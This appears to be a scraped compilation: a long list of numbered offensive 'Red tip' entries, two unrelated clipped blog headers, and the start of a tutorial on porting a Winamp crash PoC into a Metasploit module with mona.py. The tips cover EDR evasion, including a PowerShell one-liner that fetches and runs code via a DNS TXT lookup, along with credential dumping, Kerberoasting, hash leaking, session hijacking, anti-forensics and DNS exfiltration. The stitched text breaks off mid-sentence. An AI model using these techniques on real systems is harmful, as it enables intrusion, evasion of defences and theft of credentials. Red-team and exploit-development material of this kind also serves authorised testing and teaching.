traffic. Alternatively use UA from software such as Outlook.

Red tip \#2: If the enemy SOC is using proxy logs for analysis. Guess what? It
wont log cookies or POST body content as can be sensitive.

Red tip \#3: Taking a snapshot of AD can let you browse, explore and formulate
future attacks if access is lost momentarily.

Red tip \#4: consider using Office Template macros and replacing normal.dot
for persistence in VDI environments.

Red tip \#5: Do a DNS lookup for terms such as intranet, sharepoint, wiki,
nessus, cyberark and many others to start intel on your target.

Red tip \#6: Got access but need to find target? Use WMIC to query and dump
the DNS Zone for a better view of assets -
https://serverfault.com/questions/550385/export-all-hosts-from-dns-manager-
using-powershell

Red tip \#7: Whether PSEXEC, WMI, PS remoting or even the recent COM execution
technique for lateral movement. Dont forget beloved RDP.

Red tip \#8: Make sure theres trackers in your: emails, delivery server and
payload execution. Any more? Comment to share\!

Red tip \#9: When PowerUp yields no results, dont forget SysInternalss
AutoRuns. Often you can find unexpected surprises :\)

Red tip \#10: When using BloodHound, dont forget DA equivalents such as
administrators and server operators etc too. These arent mapped.

Red tip \#11: When navigating mature environments, a good old network diagram
along with AD OUs can help to shed some light into next steps.

Red tip \#12: Kerberoast them hashes, could be a fast route to domain
administrator. PowerView: Invoke-Kerberoast -Format Hashcat

Red tip \#13: Shared local administrator account hashes are great for lateral
movement. Find machines based on the same build and attack away

Red tip \#14: Got extra credentials? Use different sets for separate egress
channels so that if one account is disabled all the rest are ok.

Red tip \#15: You dont need payloads when you can phish credentials and login
to Citrix, VPN, email with no 2FA. Check the perimeter.

Red tip \#16: @dafthack MailSniper, @domchell LyncSniper can be a useful but
noisy way to obtain AD credentials into an organisation.

Red tip \#17: @\_staaldraad Ruler tool can be used to obtain code execution on
a system running Outlook if you can access exchange externally

Red tip \#18: When tools like MailSniper dont work in custom environments, you
still have good old @Burp\_Suite to replicate the attacks

Red tip \#19: Need a DC? echo %LOGONSERVER%. Need a list? nltest /dclist,
nslookup -q=srv \_kerberos.\_tcp \(domain suffix can autocomplete\)

Red tip \#20: So apparently not many people use SSH for redirector setup. So
try out SSH c2 -R \*:80:localhost:80. SSH config GatewayPorts yes

Red tip \#21: Found open user home shares that are accessible? See if you can
drop into Startup Programs for lateral movement and privesc.

Red tip \#22: Use VNC, microphone and webcam to perform surveillance. Netstat,
tasklist can provide context into what the users doing.

Red tip \#23: Stash payloads in C:$Recycle.Bin

Red tip \#24: Compromise the SOC and Security teams to watch their progress
and track their email alerts for sophisticated threats

Red tip \#25: Probably dont do this on a red team, but spray for Welcome1,
Password1 if youre struggling to move. But move off fast.

Red tip \#26: Split your campaigns up so that they are independent. Fire tons
at once for decoys and to burn out the defence.

Red tip \#27: Need more credentials? Search for passwords on Sharepoint, and
intranet.

Red tip \#28: Look for asset registers to understand who owns what machine,
make and model. Theres usually an asset label to host name too\!

Red tip \#29: Lateral movement: printers, open webroots, good old Tomcat, what
are your quick wins?

Red tip \#30: Get AD credentials? Turn up on site and you might be able to use
them to login to Corporate Wifi :\)

Red tip \#31: Hunting e-mails and network shares for penetration testing
reports can often yield good results.

Red tip \#32: List mounts: net use, look for shared folders and drop a UNC
icon LNK into it. Run Inveigh or Wireshark on host to grab hashes.

Red tip \#33: Orgs are transitioning to cloud services such as AWS, Beanstalk,
O365, Google Apps. 2FA is vital - password reset to compromise.

Red tip \#34: OpSec. Set notifications to your phone for logins or intrusion
attempts in any part of your attack infrastructure.

Red tip \#35: FireEye sandbox flagging your payloads? Try anti sandbox
techniques\! If not, just use HTA to get into memory as it doesnt scan

Red tip \#36: Dont forget the good old GPP passwords in SYSVOL. There may be
cached GPP on the machine. Applying the patch isnt enough

Red tip \#37: Use GenHTA to generate HTA files that use anti-sandboxing
techniques. https://github.com/vysec/GenHTA

Red tip \#38: Having trouble getting @armitagehacker CobaltStrikes evil.hta
through defenses? https://github.com/vysec/MorphHTA

Red tip \#39: If emails get bounced, read the email\! Sometimes due to malware
scanners, spam etc. Or you may even get an out of office reply.

Red tip \#40: @0x09AL suggests looking for default credentials on printers and
embedded devices. Move off initial foothold using this.

Red tip \#41: @Oddvarmoe suggests using Alternate Data Streams if you need to
put a file on disk. For example
https://github.com/samratashok/nishang/blob/master/Backdoors/Invoke-
ADSBackdoor.ps1

Red tip \#42: Got OS level access to a middle tier? Task list, netstat and wmic process list full | findstr /I commandline for more ideas\!
Red tip \#43: So you know where the server application files are. Download the
binaries and check out configuration files for conn. strings

Red tip \#44: Run PEiD and other packer / technology checkers to find out the
language and packer used on downloaded server binaries.

Red tip \#45: Run strings on the application binary for potentially other
cleartext sensitive strings\! \(Unicode mode too\)

Red tip \#46: On a VDI? Check out C:\ and other disks for potentially
sensitive files other users may have saved there.

Red tip \#47: Incase EDR are looking for "net users /domain" try using "net
use /dom"

Red tip \#48: Is EDR potentially looking for "powershell -encodedcommand"? Try
"powershell -ec"

Red tip \#49: Attacking a heavy Macintosh or Linux estate? Send a Office
Maldoc with OS checking logic to obtain footholds on either system

Red tip \#50: Carbon Black checks for IEX and web req commands. Use powershell
"powershell . \(nslookup -q=txt calc.vincentyiu.co.uk \)\[-1\]"

Red tip \#51: Cant open C drive? Try \127.0.0.1\c$

Red tip \#52: SC doesnt take credentials. Cant use runas? Try net use
\targetip\ipc$ password /u:domain\username then sc to psexec

Red tip \#53: When stick phishing for 2FA, consider using @mrgretzky Evilginx
project which logs cookies. https://breakdev.org/evilginx-1-1-release/

Red tip \#54: Hide from blue. Volume shadow copy then execute
\?\GLOBALROOT\Device\HarddiskVolumeShadowColy1\malware.exe/dll then delete VSC

Red tip \#55: SMB hash leaking using a UNC path for image in page for drive by
leak can give you credentials for less mature environments.

Red tip \#56: Target victims using email authentication such as Microsoft
Account on Windows 10? Hash leak exposes full email address\!

Red tip \#57: Working in teams yields better results; and best of all Makes
Offensive operations more fun and keeps the adrenaline pumping

Red tip \#58: Discuss business targets and objectives with your clients. This
process should set non technical goals such as "ATM spit money"

Red tip \#59: Checking whether a server or host is good for egress? Likely to go down? "systeminfo | findstr /i boot"
Red tip \#60: Type "query user" to see who else is connected to the machine.

Red tip \#61: Get a quick patch list using wmic qfe list brief. Cross ref KB
to bulletins.

Red tip \#62: Found a process of interest? Dont forget to obtain a MiniDump\!
Use Out-MiniDump
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-
Minidump.ps1

Red tip \#63: Finally in CyberArk, click policies and see safes but no
account? Go to accounts search and search for empty and safes show up

Red tip \#64: Is WebDav allowed through the gateway? Using http mini
redirector? Dont exfiltrate or send in files. WebDav is subject to DLP

Red tip \#65: WebDav mini http redirector: net use \*
http://totallylegit.com/share . Then start z:

Red tip \#66: Found potential MQ creds? ActiveMQ? Try out
https://github.com/fmtn/a , works to query MQ endpoints that dont use self
signed crt

Red tip \#67: Use vssadmin to list and create volume shadow copies

Red tip \#68: Pivoting into a secure zone that has no DNS or web gateway and
need exfil? Netsh port forward pivot UDP 53 to DNS 53 then boom

Red tip \#69: Have blue hidden the ways including winkey+R? Try shift and
right click desktop and open command prompt

Red tip \#70: Tracked down that putty session? Popped the box? Query user and
check the victims logon time and idle times

Red tip \#71: Hijack his Session using sc create sesshijack binpath= "cmd.exe
/k tscon /dest:" then use putty session

Red tip \#72: Most people understand email sec wrong. SPF does not mean not
spoofable. SPF does nothing without DMARC.

Red tip \#73: Weak DMARC on victim org domain? Spoof their own emails back
into themselves\! You even inherit their AD name and photo

Red tip \#74: Got access to Microsoft OWA mailbox or O365? You can extract
global catalog from contacts use @Burp\_Suite and parse JSON object

Red tip \#75: Write PHP delivery scripts that can mutate your payloads and add
unique trackers per download. This tracks file being executed

Red tip \#76: Simulating a criminal threat story with smash and grab agenda?
Phish users and hot swap payload mid campaign to test formats

Red tip \#77: RCE on a web application for less mature client? nslookup -q=srv
\_ldap.\_tcp if its domain joined Invoke-Kerberoast

Red tip \#78: @benichmt1 suggests looking for vmdk files across the network.
You can use this to potentially access segregated networks

Red tip \#79: Obfuscation is never bad, especially when its a button click.
@danielhbohannon - https://github.com/danielbohannon

Red tip \#80: Need to sweep for uptimes? Use wmic /node:"" OS get
LastBootUpTime in a for loop

Red tip \#81: Looking for systems running KeePass? Run a for loop on wmic
/node:"host" process list brief :\) then look at RT \#82

Red tip \#82: Found KeePass running in memory? Use @harmj0y KeeThief to
extract password and dl the KDBX - https://github.com/HarmJ0y/KeeThief

Red tip \#83: Struggling to find a working DB client? Live off the land and
use your victims in an RDP session.

Red tip \#84: Im sure everyone hates Oracle DB but no sweat, you can proxycap
sqldeveloper.exe

Red tip \#85: Check the users calendars before using persistence on their
machine. They may be out of office and screw your master plans.

Red tip \#86: Red team and attack simulation is not penetration testing. You
shouldnt be really testing anything, but simply infiltrating.

Red tip \#87: @Oddvarmoe uses .UDL files to quickly launch a MSSQL connection
test to validate credentials\!
https://blogs.msdn.microsoft.com/farukcelik/2007/12/31/basics-first-udl-test/

Red tip \#88: Dont forget Physical security\! Whip up a PI with GSM and you
can hack your way in by dropping the PI on network.

Red tip \#89: regsvr32 SCT files are being detected as Squigglydoo. Looks for
"script" case sensitive and "<registration" case insensitive.

Red tip \#90: Cisco NGIPS is shit, when analysing traffic for havex it drops
only but not

Red tip \#91: Decoys can be as simple as burning egress by port scanning
1-1024 through IDS, or spamming dodgy emails at blocks of employees

Red tip \#92: If WDigest is disabled, reenable it for cleartext credentials
before new users login with @harmj0y https://github.com/HarmJ0y/Misc-
PowerShell/blob/master/Invoke-WdigestDowngrade.ps1

Red tip \#93: Use Empyre to generate Macintosh and Linux payloads, modify it
to contain code for Windows too\! https://github.com/EmpireProject/EmPyre

Red tip \#94: Client uses VDIs? Compromise underlying host and use Citrix
Shadow Taskbar to spy on VDI sessions by selecting username

Red tip \#95: @domchell recommends avoiding non persistent VDIs and persist on
laptops. Query DC for live laptops.

Red tip \#96: @lucasgates recommends using OLE objects containing VBS scripts
instead of Macros as less suspicious. VBE will work too

Red tip \#97: Use recent critical vulnerabilities such as CVE-2017-0199 HTA
handler issue to simulate real threats.
https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-
vulnerability/

Red tip \#98: @0x09AL suggests WordSteal. You can embed an IMAGE with UNC path
to steal hashes from Word. Wont work if proxy.
https://github.com/0x09AL/WordSteal

Red tip \#99: If client is using Proxy with WebDav you can phish creds using
@ryHanson Phishery https://github.com/ryhanson/phishery

Red tip \#100: Use wgsidav if you need a quick WebDav server :\)
https://github.com/mar10/wsgidav

Red tip \#101: Set up red team infrastructure following @bluscreenofjeff
guidelines\! https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki

Red tip \#102: Easier DNS redirector\! https://pastebin.com/LNj4zjFs for opsec
and not hosting C2 on the cloud

Red tip \#103: Red team tips are useful but what makes the good red teamer is
experience. Rack up that breadth of experience

Red tip \#104: SessionGopher does a decent job at retrieving putty and RDP
history - https://github.com/fireeye/SessionGopher

Red tip \#105: If ping 8.8.8.8 works, try ICMP tunnelling. More info at
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-
day-5.html?m=1 from @fragsh3ll though only on immature network

Red tip \#106: Wordlists? https://github.com/berzerk0/Probable-WordlistsI like
to use the top probable 297 million list with Deadhobo rules

Red tip \#107: More of a pentest tip but nslookup http://google.com if it
resolves you may have a DNS tunnelling problem.

Red tip \#108: Post exploitation Asset Discovery
https://github.com/vysec/Invoke-DNSDiscovery looks for assets by name that
might be good if youre low priv user.

Red tip \#109: Use Invoke-ProcessScan to give some running processes context
on a system. This uses EQGRP leaked list- https://github.com/vysec/Invoke-
ProcessScan

Red tip \#110: Mature blue? Be careful and minidump lssas.exe then download it
and parse locally

Red tip \#111: Found an exploitable S4U condition? Use Mistique to attack\!
https://github.com/machosec/Mystique/blob/master/Mystique.ps1

Red tip \#112: Need to use VNC as RDP in use?
https://github.com/artkond/Invoke-Vnc has been pretty stable for me. Run it
then pivot in and connect\!

Red tip \#113: Found super secret.doc or master password database.xlsx? Use
office2john to get hash and crack in Hashcat\!

Red tip \#114: PowerUp didnt work and you want to autoruns? Dont bother going
on disk, use Invoke-AutoRuns to csv- https://github.com/p0w3rsh3ll/AutoRuns

Red tip \#115: Need to zip up a directory quickly for easy exfiltration? Eg.
Home shares https://github.com/thoemmi/7Zip4Powershell use Powershell

Red tip \#116: Use CatMyFish to search for categorised domains that could be
used in your engagements - https://github.com/Mr-Un1k0d3r/CatMyFish

Red tip \#117: Ran Invoke-MapDomainTrusts from PowerView? Use @harmj0y
DomainTrustExplorer to generate a graph -
https://github.com/sixdub/DomainTrustExplorer

Red tip \#118: FOCA finds some useful information for OSINT and intelligence
phases. https://www.elevenpaths.com/labstools/foca/index.html

Red tip \#119: GoPhish is a pretty useful tool for spinning up simple phishing
campaigns especially for decoys https://getgophish.com

Red tip \#120: If you have write access to the orgs shared Office template
folders You can privesc by backdooring these trusted documents.

Red tip \#121: @zwned uses netsh packet tracing to sniff natively from victim
host. Save capture and analyze offline\!

Red tip \#122: More decoy tips\! Scan the external perimeter with tools like
Nessus and OpenVAS. More traffic the better just to burn the blue

Red tip \#123: Read Sean Metcalfa blog http://adsecurity.org/ When AD is used
in many environments, it vital to at least know techniques

Red tip \#124: Remember you can generate a golden ticket offline with
knowledge of krbtgt and rest offline. Golden ticket gets silver from DC

Red tip \#125: Got krbtgt of a child domain? Forest parent trusts you? Use the
SID history attack in golden tickets to escalate to Ent Admin

Red tip \#126: You dont necessarily need Domain Admin, if you have an account
that has "Replicating directory changes", dcsync to pull hash

Red tip \#127: Planning to use secretsdump.py? :\) Try using the DC machine
account to authenticate and dump instead of a user\! Save hash

Red tip \#128: Use machine account hashes to generate silver tickets to a host
for persistence. Save machine hash for DC incase krbtgt rotate

Red tip \#129: Use PEAS to query shares and emails if using ActiveSync -
https://github.com/mwrlabs/peas

Red tip \#130: \(Not red really but useful\) Sort IPs: cat IPs.txt | sort -t . -k1,1 -k2,2 -k3,3 -k4,4
Red tip \#131: Learn AWK and general bash scripting. Processing and merging of
data sets speeds up our job for discovery and time keeping.

Red tip \#132: Worth learning to pick locks and the dust can sensor trick if
youre going to do some physical. http://www.artofmanliness.com/2014/11/19/how-
to-pick-a-lock-pin-tumbler-locks/

Red tip \#133: Grep has an extract flag -o that can be used to extract from a
regex. Good for extracting data from massive blobs.

Red tip \#134: Victims use wireless? Use KARMA attack to force them onto your
network. Use eternalblue, domain creds or other vulns to get in.
https://github.com/sensepost/mana

Red tip \#135: Phishing pages are usually custom. However its always good to
have a stash for decoys. Generic Gmail, Office365?

Red tip \#136: Keep up to date by watching presentations from conferences on
YouTube :\) Discover useful techniques

Red tip \#137: If youve exhausted all payload types, try sending a Mac user a
python one liner and Win PS 1 liner. Ive had people run it.

Red tip \#139: If you need to get a clean EXE for file drop and exec, try out
@midnite\_runr Backdoor Factory - https://github.com/secretsquirrel/the-
backdoor-factory

Red tip \#140: If enemy does not use proxy with TLS inspection then you can
use https://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-
domains/ to mask your c2 channel further

Red tip \#141: On a Linux box and want to egress from it over a proxy? Use
ProxyTunnel to pipe SSH - https://github.com/proxytunnel/proxytunnel

Red tip \#142: Need some OSINT? Keep Spiderfoot running long term to accompany
your manual OSINT sources http://www.spiderfoot.net

Red tip \#143: OSINTing? TheHarvester does a decent job at subdomains. Though
theres better ways to get emails bulk.
https://github.com/laramies/theHarvester

Red tip \#144: Exploring and want to use WMI? https://www.microsoft.com/en-
us/download/details.aspx?id=8572 is pretty useful for exploring the different
namespaces and classes.

Red tip \#145: Need to reset a password? Do it then quickly dcsync for
previous password hash and use NTLMinject -
https://github.com/vletoux/NTLMInjector

Red tip \#146: IDS flagging known payload binary blob? Base64 encode it in
your payload and use certutil, PS or VB to decode it\!

Red tip \#147: Test your phishing campaigns before sending\!\!\!

Red tip \#148: If youre sending into Exchange, make sure your SMTP server is
not in SPAM list or black lists. Check junk mails mail headers

Red tip \#149: Use Microsofts Message Header Analyzer to parse and review
email headers from Outlook.
https://testconnectivity.microsoft.com/MHA/Pages/mha.aspx

Red tip \#150: Make sure phishing emails Bounce header matches From. Or else
some will flag as malicious.

Red tip \#151: DomainHunter also looks for good candidate expired domains -
https://github.com/minisllc/domainhunter

Red tip \#152: Want to scrape MetaData in CLI? Use PowerMeta. Linux users can
use PowerShell too\! https://github.com/dafthack/PowerMeta

Red tip \#153: RDP in use? Dont want to use VNC? Try mimikatzs ts::multirdp in
memory patch by @gentilkiwi

Red tip \#154: Admin on a machine with VPN client? certificate extraction
using Mimikatz by @gentilkiwi. Dont forget to dl configs. Backdoor

Red tip \#155: Master all the quick wins to Domain privilege escalation. When
youre pressured to get DA in 15 mins, you want to know you can

Red tip \#156: @Akijos notes that we should be careful when using silver
tickets with scheduled tasks. Author is the user account youre on.

Red tip \#157: If you dont need a golden ticket, dont generate it.

Red tip \#158: Scan a DNS server for Alexa top 1 million spoofable domains :\)
Ive got a massive list, do you?

Red tip \#159: Scan the internet for a list of domain frontable domains\! Ive
got a big big list ready for whenever I want to use them :\)

Red tip \#160: We all know people share credentials between different
services. Try these credentials on other accounts owned by the user\!

Red tip \#161: Cant crack a password? Try the users previous passwords from
history in AD. They may follow a pattern.

Red tip \#162: Cant crack a hash owned by a user? Take all previously
discovered passwords from their files and generate a new word list.

Red tip \#163: Cant crack a password? Make sure these are in your word list:
name of company, town, capital, country, months\! Appear a lot.

Red tip \#164: Didier Stevens has SelectMyParent tool that lets you spawn a
child process with an arbitrary parent.
https://blog.didierstevens.com/2017/03/20/that-is-not-my-child-process/

Red tip \#165: Using SelectMyParent stops those detections eg. powershell.exe
spawning cmd.exe. @armitagehackers CobaltStrike has ppid cmd\!

Red tip \#166: Use PowerPoint mouse over text to invoke a powershell command
one liner. \#adversarysimulation -
https://www.dodgethissecurity.com/2017/06/02/new-powerpoint-mouseover-based-
downloader-analysis-results/

Red tip \#167: Follow @mattifestation to keep up to date with blue team
advances. Just in case blue is actually up to date with mitigations\!

Red tip \#168: Using VBS or JS? Cant stage using PowerShell.exe as blocked?
@Cneelis released https://github.com/Cn33liz/StarFighters so you can keep use
PS

Red tip \#169: Not sure who uses Wi-Fi webcams but go run a mass deauth attack
if youre going to plan on breaking in physically to discon

Red tip \#170: @malcomvetter Never use defaults - run Mimikatz with AES and 8
hour tickets to avoid passive detection from NG defense tools\!

Red tip \#171: Win XP doesnt have PowerShell? Try using Unmanaged powershell
to keep using your favourite scripts\!

Red tip \#172: @anthonykasza tells us that the at.exe command takes base64
encoded Params\! Eg. at.exe b64::\[encoded params\]

Red tip \#173: Grab cleartext wireless keys: netsh wlan show profile
name="ssid" key=clear

Red tip \#174: Got a shell on a victim without admin? Want their creds? Try
Inveigh then rpcping -s 127.0.0.1 -t ncacn\_np to leak hash.

Red tip \#175: Got a low priv shell and need creds? Use Invoke-LoginPrompt by
@enigma0x3 https://raw.githubusercontent.com/enigma0x3/Invoke-
LoginPrompt/master/Invoke-LoginPrompt.ps1

Red tip \#176: Get access to shadow admin accounts, they can DCsync and are
essentially DA. https://www.cyberark.com/threat-research-blog/shadow-admins-
stealthy-accounts-fear/

Red tip \#177: If blue detects PTH. Try extract Kerberos tickets and PTT.

Red tip \#178: @lefterispan wrote
https://gist.github.com/leftp/a3330f13ac55f584239baa68a3bb88f2 … which sets up
a proxy and forces an auth attempt to it to leak hash. Low priv leak.

Red tip \#179: When creating phishing pages, try cloning and modifying parts
of the client’s own webpages. For example of their VPN login\!

Red tip \#180: Regardless of whether there are known defences. Run your PS
scripts through Obfuscation before loading into memory.

Red tip \#181: Stuck trying to find those assets still? Try @424f424f Get-
BrowserData https://github.com/rvrsh3ll/Misc-Powershell-
Scripts/blob/master/Get-BrowserData.ps1

Red tip \#182: Follow @JohnLaTwC as he tweets phishing examples and sometimes
with new techniques used in Wild. Good for adversary simulation

Red tip \#183: @MrUn1k0d3r released https://github.com/Mr-Un1k0d3r/SCT-
obfuscator … can probably bypass Gateway signatures when performing SCT
delivery for regsvr32\! https://github.com/Mr-Un1k0d3r/SCT-obfuscator

Red tip \#184: We always talk about Windows and AD. But now let’s have a look
at Linux and AD with https://medium.com/@br4nsh/from-linux-to-ad-10efb529fae9

Red tip \#185: Use WSUS for lateral movement
https://github.com/AlsidOfficial/WSUSpendu/blob/master/WSUSpendu.ps1

Red tip \#186: View @jpcert
https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir\_research\_en.pdf … and
look at all those indicators and artefacts left behind. Then hexedit those
tools 👍

Red tip \#187: Found a portal using 2FA? Using RSA SecureID?
https://blog.netspi.com/targeting-rsa-emergency-access-tokencodes-fun-profit/
… Pin bruteforce\!

Red tip \#188: @pwnagelabs says to avoid bash history on exit using: kill -9
$$

Red tip \#189: @pwnagelabs teaches us how to avoid wtmp logging with: ssh -l
user target -T

Red tip \#190: @bluscreenofjeff shows us how to use Apache Mod rewrite to
randomly serve different payloads
https://bluescreenofjeff.com/2017-06-13-serving-random-payloads-with-apache-
mod\_rewrite/

Red tip \#191: Domain user? Query LDAP for Printers. Attempt default creds or
known vulns then read Service account creds, hash or relay

Red tip \#192: Get-WmiObject -Class MicrosoftDNS\_AType -NameSpace Root\MicrosoftDNS -ComputerName DC001 | Export-CSV -not dns.csv
Red tip \#193: Password protected doc in email? For some reason a lot of
people send the password separately to the same inbox. \#epicfail

Red tip \#194: Can’t see another part of the network and there’s a DC? Pivot
off the DC :\)

Red tip \#195: C:\windows\system32\inetsrv\appcmd list site to find IIS
bindings.

Red tip \#196: DA -> Locate DB -> Found MSSQL?
https://github.com/NetSPI/PowerUpSQL use PowerUpSQL to enumerate and privesc
by stealing tokens.

Red tip \#197: If ACL doesn’t let you read other users’ home shares, you can
try net view \fileserv /all to try other shares and folders\!

Red tip \#198: Username jondoe and jondoe-x? Ones an Admin? Try same password.
May be shared 😎 repeat for entire user list.

Red tip \#199: Failed to phish? Payloads failing? Mac users? Write an email
and ask them to open terminal and paste in python Empyre one line

Red tip \#200: @\_wald0 blessed us with this BH cypher query to skip specific
nodes to look for other paths. https://pastebin.com/qAzH9uji

Red tip \#201: @424f424f pushed some research into LNK files inside CAB can be
used to bypass the Attachment Manager
👍http://www.rvrsh3ll.net/blog/informational/bypassing-windows-attachment-
manager/

Red tip \#202: When domain fronting, your calls hit the edge node, so every
domain you use potentially hits a different a IP\! 😎

Red tip \#203: If using @Cneelis StarFighter. Instead of using a staged web
delivery, just stick while stageless payload as encoded block in\!

Red tip \#204: Printers are often good MAC addresses to use to beat NAC when
physical red teaming as printers \(mostly?\) don’t support 802.1x

Red tip \#205: If proxy is blocking SCT file, replace with and add around the
rest. Thx @subTee

Red tip \#206: CobaltStrike's @armitagehacker VNC not working? Here's a
workaround using @artkond Invoke-VNC https://github.com/vysec/Aggressor-
VYSEC/blob/master/vnc-psh.cna

Red tip \#207: Got C2 on Windows user but no credentials? Leak a hash using
@leftp's code. Implemented into CNA https://github.com/vysec/Aggressor-
VYSEC/blob/master/Invoke-CredLeak.ps1

Red tip \#208: @Nebulator spoke on IP regex by IR at \#SnoopCon. Here's
CobaltStrike @armitagehacker CNA to automate
https://github.com/vysec/Aggressor-VYSEC/blob/master/ping.cna

Red tip \#209: Automate environment prepping and spawn all processes as a
child of explorer.exe by @armitagehacker https://github.com/vysec/Aggressor-
VYSEC/blob/master/auto-prepenv.cna

Red tip \#210: @subTee highlighted to us that XML requests can be used as a
download cradle in constrained language mode\!

Red tip \#211: Check out @armitagehacker's post on OPSEC considerations when
using Cobalt Strike's beacon. https://blog.cobaltstrike.com/2017/06/23/opsec-
considerations-for-beacon-commands/

Red tip \#212: Reset AD passwords from Linux with @mubix
https://room362.com/post/2017/reset-ad-user-password-with-linux/ :\)
proxychains it over your pivot :D

Red tip \#213: Got a NetNTLMv1 hash? Convert it to NTLM by cracking three DES
keys: https://hashcat.net/forum/thread-5912.html

Red tip \#214: If you don’t 100 percent understand NETNTLMv1 and v2 read up on
https://blog.smallsec.ca/2016/11/21/ntlm-challenge-response/

Red tip \#215: If you don’t know how LM and NTLM hashing works... go back to
basics with https://blog.smallsec.ca/2016/11/07/windows-credentials/

Red tip \#216: @424f424f just made me aware that FireEye can prevent runas
from executing. Use unmanaged PS to spawn https://github.com/rvrsh3ll/Misc-
Powershell-Scripts/blob/master/RunAs.ps1

Red tip \#217: S4U can be used to delegate across SPN. So if you have msds-
allowedtodelagateto HTTP you can exploit to obtain HOST and CIFS

Red tip \#218: You’re in a subnet where people RDP into but you can’t attack
outwards? Set backdoor over tsclient on start keys. 😎

Red tip \#219: Unsure what the localised admin account might be called or need
to copy and paste? Check out
https://social.technet.microsoft.com/wiki/contents/articles/13813.localized-
names-for-administrator-account-in-windows.aspx

Red tip \#220: EDR monitoring “whoami”? Use echo %userprofile%; echo
%username%. Or replace echo with anything that reflects error: ie. set

Red tip \#221: Network segregation in play? Try Get-NetSubnet, Get-NetSite in
PowerView or browse in AD explorer. Can help find your way :\)

Red tip \#222: If you want to simulate MBR activity like \#Petya, check out
https://github.com/PowerShellMafia/PowerSploit/blob/master/Mayhem/Mayhem.psm1

Red tip \#223: Secure your beach heads against \#Petya WMIC /node:host process
call create “echo > C:\windows\perfc”

Red tip \#224: Using Linux? Modify /etc/dhcp/dhclient.conf and remove
gethostname\(\) for Opsec when you VPN or have to rock up on site.

Red tip \#225: Stuck in a heavily segregated situation on a server? Try
RDPInception attack vector out https://www.mdsec.co.uk/2017/06/rdpinception/

  

# Peter Van Eeckhoutte´s Blog :: \[Knowledge is not an object, it´s a flow\]
:: Exploit writing tutorial part 3 : SEH Based Exploits

**Created:**| _12/28/2009 10:05:47 PM_  
---|---  
**Updated:**| _12/28/2009 10:06:07 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  
<img src='img/Temp2_6216' />

# Rapid7 Community: Metasploit: MonaSploit

**Created:**| _10/11/2011 6:36:31 PM_  
---|---  
**Updated:**| _10/11/2011 6:36:31 PM_  
**Author:**| __  
**Tags:**| _Debugging Metasploit_  
  

## Introduction

“ _Standalone exploits suck_ ”.

egyp7 and bannedit made this statement earlier this year at Bsides Vegas, and
nullthreat & yours truly elaborated on this even more during our talk at
Derbycon 2011. I’m not going to repeat the reasoning behind it in this post,
you can check out the video of our talk here.

There are many reasons why writing Metasploit exploit modules and submitting
them to the Metasploit framework is a good idea. You’re not only going to help
the community / professionals, but it will force you to think about various
aspects of writing exploits and that should result in a better exploit. It
might even make you a better exploit writer. When Corelan Team originally
designed mona.py, which is a PyCommand for Immunity Debugger, we kept this in
mind and wanted to provide a tool that does not only produce smart and
reliable results in a fast way, but it would also generate output that would
be Metasploit friendly.

Getting mona.py operational is as easy as:

  * Install Immunity Debugger 1.8x
  * Geta copy of mona.py \(use the ‘trunk’ version\) from http://redmine.corelan.be and save the file in the PyCommands folder \(inside the Immunity Debugger program folder\)
  * Open Immunity debugger and run \!mona \(the command bar is located at the bottom of the debugger\). Open the log view \(ALT+L\) and verify that you can see the mona‘help’ output in the screen.
  * Run \!mona update to make sure you are running the most current version.

Before using mona.py, we’ll make sure all output is written and grouped into a
subfolder that reflects the process name of the application that we are
debugging. This will allow us to work on multiple exploits at the same time,
without having to worry about overwriting previously generated output for
another application. The command to do this is:

[code]

    !mona config -set workingfolder c:\logs\%p
[/code]

\(%p will be replaced with the process name. You can also use %i which will be
replaced with the process ID\)

In this post, I will introduce a number of commands and options available in
mona.py, with a focus on writing exploits in and for Metasploit. After all,
there is no real reason to develop exploits in a scripting language such as
python. Writing an exploit from scratch, using Metasploit, may look a bit
difficult if you are not familiar with it, but as you will learn in just a few
moments, the number of lines that you will have to write yourself will most
likely very limited. Most part of the Metasploit exploit module file can be
either re-used from an already existing module or you can use mona.py to
create an empty skeleton file. Finally, in terms of syntax: if you can learn
python, you can learn ruby as well.

## From poc file to Metasploit module

In a typical exploit, we usually start by triggering some kind of overflow or
crash one way or another. If you have discovered the vulnerability yourself,
you already should have the code to reproduce the issue so you can simply
implement or port that code over to Metasploit. If you are porting an existing
standalone exploit or a proof-of-concept to Metasploit, the only thing you may
have at your disposal is a file that triggers a crash, or some lines of
code/hex that will do the same thing. Being able to reproduce the same thing
in a Metasploit module is probably the first thing that you should do.

We’ll use an existing PoC to demonstrate how mona.py can assist with this.
Grab a copy of the zip file from http://www.exploit-db.com/exploits/15248/.
The zip file contains a couple of files. We will base our example on the poc
that demonstrates an integer overflow in in\_mkv, hence we’ll use the mkv file
inside the zip archive. Extract this file and place it under c:\poc

<img src='img/Temp2_6752.png' width='310' height='132' alt='pic1.png' />

Opening the winamp\_1a\_1.mkv file in the affected version of Winamp triggers
a crash.

Instead of trying to recreate or reproduce this file in a python script, we’ll
use mona.py to turn this poc file into a Metasploit module right away. To do
this, we will tell mona.py to read this mkv file and convert it into ruby
statements that will allow you to recreate the file. Open Immunity Debugger
\(no need to attach it to something\) and run the following command:

**\!mona header –f "c:\poc\winamp\_1a\_1.mkv"**

This command will read all bytes from the file and will create some ruby
statements. In this case, the output is written to header.txt under
c:\logs\\\_no\_name \(this folder name is used whenever Immunity Debugger is
not attached to aprocess\). The output looks like this:

**header = "\x1a"  
header << "E"  
header << "\xdf\xa3\x09"  
header << "\xff" \* 4  
header << "B"  
header << "\x82\x08"  
header << "\xff" \* 4  
header << "a" \* 16344**

Take a look at the last line. 16344 a’s… this might be an indication of what
part of the file is responsible for triggering the crash. Before we’ll
actually try it out & confirm that this is indeed our trigger, we’ll merge the
few lines of ruby code into a Metasploit module. Mona.py offers an easy way to
create a skeleton Metasploit module. In Immunity Debugger, run

\!mona skeleton

  

Mona.py will ask you 2 simple questions:

  1. Select msf exploit skeleton: select ‘**fileformat** ’
  2. File extension: **mkv**

The output gets saved as msfskeleton.rb under c:\logs\\\_no\_name. Copy this
file into your Metasploit framework installation. We are building an exploit
